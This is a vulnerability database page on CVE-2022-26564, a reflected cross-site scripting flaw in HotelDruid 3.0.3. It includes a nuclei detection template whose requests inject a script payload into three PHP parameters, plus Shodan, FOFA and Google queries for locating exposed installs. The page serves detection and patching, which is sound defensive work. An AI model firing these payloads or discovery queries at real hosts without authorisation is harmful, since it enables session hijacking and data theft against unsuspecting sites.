HexBrain

Browse / CVEs / CVE-2022-26564

CVE-2022-26564· digitaldruid / hoteldruid· CWE-79

HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.8%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script> ; GET {{BaseURL}}/modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1 ; GET {{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script>
Positive when: contains "<script>javascript:alert('XSS')</script>" and "HotelDruid" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-26564 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-26564

info:
  name: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting
  author: alexrydzak
  severity: medium
  description: |
    HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://rydzak.me/2022/04/cve-2022-26564/
    - https://www.hoteldruid.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26564
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26564
    cwe-id: CWE-79
    epss-score: 0.02759
    epss-percentile: 0.8638
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.3:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.favicon.hash:-1521640213
      - http.title:"hoteldruid"
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve,cve2022,hoteldruid,xss,digitaldruid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script>'
      - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1'
      - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script>'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>javascript:alert('XSS')</script>"
          - "HotelDruid"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from